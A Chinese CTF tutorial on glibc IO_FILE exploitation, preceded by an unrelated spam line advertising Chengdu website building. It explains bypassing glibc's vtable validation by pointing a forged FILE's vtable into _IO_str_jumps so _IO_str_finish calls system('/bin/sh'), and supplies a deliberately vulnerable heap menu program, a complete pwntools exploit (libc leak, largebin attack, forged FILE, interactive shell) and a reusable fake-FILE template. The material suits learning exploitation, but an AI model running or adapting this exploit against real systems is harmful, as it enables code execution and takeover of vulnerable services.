免费网站建设品牌成都本地推广平台
一、针对vtable的合法性检查
glibc-2.24
及以后,针对vtable
的篡改攻击,增添了对vtable
合法性的检查,具体表现为宏IO_validate_vtable
:
IO_validate_vtable
宏的定义:
也即,vtable
的数值需要限定在__stop__libc_IO_vtables
~__start__libc_IO_vtables
范围内。因此,对于vtable
的劫持,不能到任意地址。不过好在,_IO_str_jumps
和_IO_wstr_jumps
都在这个合法范围内,劫持vtable
到这两个结构体上,是符合vtable
的合法性检查的。但是为什么是这两个结构体?
二、_IO_str_jumps 和 _IO_wstr_jumps
首先,vtable
原本的类型是__typeof__((struct _IO_FILE_plus{}).vtable)
也即_IO_jump_t *
类型。而_IO_str_jumps
和_IO_wstr_jumps
也是_IO_jump_t
类型,但是代表的函数指针表不同。因此将 *vtable
填充成这两个结构体,是合法的。接下来看看这两个函数表,着重关注_IO_str_finish函数指针:
const struct _IO_jump_t _IO_str_jumps libio_vtable =
{JUMP_INIT_DUMMY,JUMP_INIT(finish, _IO_str_finish),JUMP_INIT(overflow, _IO_str_overflow),JUMP_INIT(underflow, _IO_str_underflow),JUMP_INIT(uflow, _IO_default_uflow),JUMP_INIT(pbackfail, _IO_str_pbackfail),JUMP_INIT(xsputn, _IO_default_xsputn),JUMP_INIT(xsgetn, _IO_default_xsgetn),JUMP_INIT(seekoff, _IO_str_seekoff),JUMP_INIT(seekpos, _IO_default_seekpos),JUMP_INIT(setbuf, _IO_default_setbuf),JUMP_INIT(sync, _IO_default_sync),JUMP_INIT(doallocate, _IO_default_doallocate),JUMP_INIT(read, _IO_default_read),JUMP_INIT(write, _IO_default_write),JUMP_INIT(seek, _IO_default_seek),JUMP_INIT(close, _IO_default_close),JUMP_INIT(stat, _IO_default_stat),JUMP_INIT(showmanyc, _IO_default_showmanyc),JUMP_INIT(imbue, _IO_default_imbue)
};
---------------------------------------------------------------
void
_IO_str_finish (_IO_FILE *fp, int dummy)
{if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);fp->_IO_buf_base = NULL;_IO_default_finish (fp, 0);
}
---------------------------------------------------------------
typedef void *(*_IO_alloc_type) (_IO_size_t);
typedef void (*_IO_free_type) (void*);struct _IO_str_fields
{_IO_alloc_type _allocate_buffer;_IO_free_type _free_buffer;
}; struct _IO_streambuf
{struct _IO_FILE _f;const struct _IO_jump_t *vtable;
};typedef struct _IO_strfile_
{struct _IO_streambuf _sbf;struct _IO_str_fields _s;
} _IO_strfile;
这里我们注意到,参数fp
的类型原本是_IO_FILE*
,在if
语句中,被强制类型转换为_IO_strfile*
,并调用了_s.__free_buffer(fp->_IO_buf_base)
。_IO_wstr_jumps
和_IO_str_jumps
内部过程完全一致。至此,利用方法就很明显了。
三、利用过程
largebin attack
将IO_FILE
劫持到堆上,即fake_file
。fake_file
的相关成员设置好,满足触发链上的各种条件,包括设置fp->_IO_buf_base="/bin/sh\x00"
- 在
IO_FILE
类型的fake_file
之后附加system
函数指针,为下一阶段调用_s.__free_buffer
类型混淆作准备 fake_file
的vtable
指向_IO_str_jumps
偏移offset
的位置,使得下一个函数触发到_IO_default_finish
- 触发
_s.__free_buffer(fp->_IO_buf_base)
,实际上触发system("/bin/sh\x00")
四、无导出符号的_IO_str_jumps地址定位方法
-
在众多
vtable
表中,都有_IO_str_underflow
函数指针 -
_IO_str_jumps
表在_IO_file_jumps
表之后,相邻 -
从
_IO_file_jumps
表中存储_IO_str_underflow
的地址之后开始找的下一个存储_IO_str_underflow
函数的表就是_IO_str_jumps
。
from bisect import bisect_left
IO_file_jumps = libc.symbols['_IO_file_jumps']
IO_str_underflow = libc.symbols['_IO_str_underflow'] - libc.address
IO_str_underflow_ptr = list(libc.search(p64(IO_str_underflow)))
IO_str_jumps = IO_str_underflow_ptr[bisect_left(IO_str_underflow_ptr, IO_file_jumps + 0x20)] - 0x20
五、模板与例题
1、pwn.c
#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>char *chunk_list[0x100];void menu() {puts("1. add chunk");puts("2. delete chunk");puts("3. edit chunk");puts("4. show chunk");puts("5. exit");puts("choice:");
}int get_num() {char buf[0x10];read(0, buf, sizeof(buf));return atoi(buf);
}void add_chunk() {puts("index:");int index = get_num();puts("size:");int size = get_num();chunk_list[index] = malloc(size);
}void delete_chunk() {puts("index:");int index = get_num();free(chunk_list[index]);
}void edit_chunk() {puts("index:");int index = get_num();puts("length:");int length = get_num();puts("content:");read(0, chunk_list[index], length);
}void show_chunk() {puts("index:");int index = get_num();puts(chunk_list[index]);
}int main() {setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);while (1) {menu();switch (get_num()) {case 1:add_chunk();break;case 2:delete_chunk();break;case 3:edit_chunk();break;case 4:show_chunk();break;case 5:exit(0);default:puts("invalid choice.");}}
}
2、exp.py
from pwn import *
from bisect import bisect_leftelf=ELF("./pwn")
libc=ELF("./libc.so.6")context(arch='amd64',log_level='debug',os='linux')def add(index, size):io.sendafter(b"choice:", b"1")io.sendafter(b"index:", str(index).encode())io.sendafter(b"size:\n", str(size).encode())def delete(index):io.sendafter(b"choice:", b"2")io.sendafter(b"index:\n", str(index).encode())def edit(index, content):io.sendafter(b"choice:", b"3")io.sendafter(b"index:\n", str(index).encode())io.sendafter(b"length:", str(len(content)).encode())io.sendafter(b"content:", content)def show(index):io.sendafter(b"choice:", b"4")io.sendafter(b"index:\n", str(index).encode())io=process("./pwn")add(0,0x418)
add(1,0x18)
add(2,0x428)
add(3,0x18)delete(2)
show(2)
libc.address=u64(io.recv(6).ljust(8,b'\x00'))-0x3afca0
success(hex(libc.address))
add(10,0x500)# 定位表_IO_str_jumps
_IO_file_jumps=libc.sym['_IO_file_jumps']
_IO_str_underflow=libc.sym['_IO_str_underflow'] - libc.address
_IO_str_underflow_list=list(libc.search(p64(_IO_str_underflow)))
_IO_str_jumps=_IO_str_underflow_list[bisect_left(_IO_str_underflow_list,_IO_file_jumps+0x20)]-0x20
success("_IO_str_jumps: "+hex(_IO_str_jumps))
# gdb.attach(io)
# pause()fake_file = b""
fake_file += b"/bin/sh\x00" # _flags, an magic number
fake_file += p64(0) # _IO_read_ptr
# 上述是chunk的控制头部字段,控制不了
fake_file = b""
fake_file += p64(0) # _IO_read_end
fake_file += p64(0) # _IO_read_base
fake_file += p64(0) # _IO_write_base
fake_file += p64(libc.sym['stdout']-0x20) # _IO_write_ptr # largebin chunk next_bk_size
fake_file += p64(0) # _IO_write_end
fake_file += p64(libc.search("/bin/sh\x00").__next__()) # _IO_buf_base;
fake_file += p64(0) # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_file += p64(0) * 4 # from _IO_save_base to _markers
fake_file += p64(libc.sym['_IO_2_1_stdout_']) # the FILE chain ptr
fake_file += p32(2) # _fileno for stderr is 2
fake_file += p32(0) # _flags2, usually 0
fake_file += p64(0xFFFFFFFFFFFFFFFF) # _old_offset, -1
fake_file += p16(0) # _cur_column
fake_file += b"\x00" # _vtable_offset
fake_file += b"\n" # _shortbuf[1]
fake_file += p32(0) # padding
fake_file += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0) # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF) # _offset, -1
fake_file += p64(0) # _codecvt, usually 0
fake_file += p64(libc.sym['_IO_2_1_stdout_'] - 0x160) # _IO_wide_data_1
fake_file += p64(0) * 3 # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF) # _mode, usually -1
fake_file += b"\x00" * 19 # _unused2
fake_file = fake_file.ljust(0xD8-0x10, b'\x00') # adjust to vtable
fake_file += p64(_IO_str_jumps-0x28) # fake vtable
fake_file += p64(0) #_allocate_buffer
fake_file += p64(libc.sym['system']) #_free_bufferedit(2,fake_file)
delete(0)
add(10,0x20)io.interactive()
3、fake_file板子
fake_file = b""
fake_file += b"/bin/sh\x00" # _flags, an magic number
fake_file += p64(0) # _IO_read_ptr
fake_file += p64(0) # _IO_read_end
fake_file += p64(0) # _IO_read_base
fake_file += p64(0) # _IO_write_base
fake_file += p64(libc.sym['system']) # _IO_write_ptr
fake_file += p64(0) # _IO_write_end
fake_file += p64(0) # _IO_buf_base;
fake_file += p64(0) # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_file += p64(0) * 4 # from _IO_save_base to _markers
fake_file += p64(libc.sym['_IO_2_1_stdout_']) # the FILE chain ptr
fake_file += p32(2) # _fileno for stderr is 2
fake_file += p32(0) # _flags2, usually 0
fake_file += p64(0xFFFFFFFFFFFFFFFF) # _old_offset, -1
fake_file += p16(0) # _cur_column
fake_file += b"\x00" # _vtable_offset
fake_file += b"\n" # _shortbuf[1]
fake_file += p32(0) # padding
fake_file += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0) # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF) # _offset, -1
fake_file += p64(0) # _codecvt, usually 0
fake_file += p64(libc.sym['_IO_2_1_stdout_'] - 0x160) # _IO_wide_data_1
fake_file += p64(0) * 3 # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF) # _mode, usually -1
fake_file += b"\x00" * 19 # _unused2
fake_file = fake_file.ljust(0xD8, b'\x00') # adjust to vtable
fake_file += p64(libc.sym['_IO_2_1_stderr_'] + 0x10) # fake vtable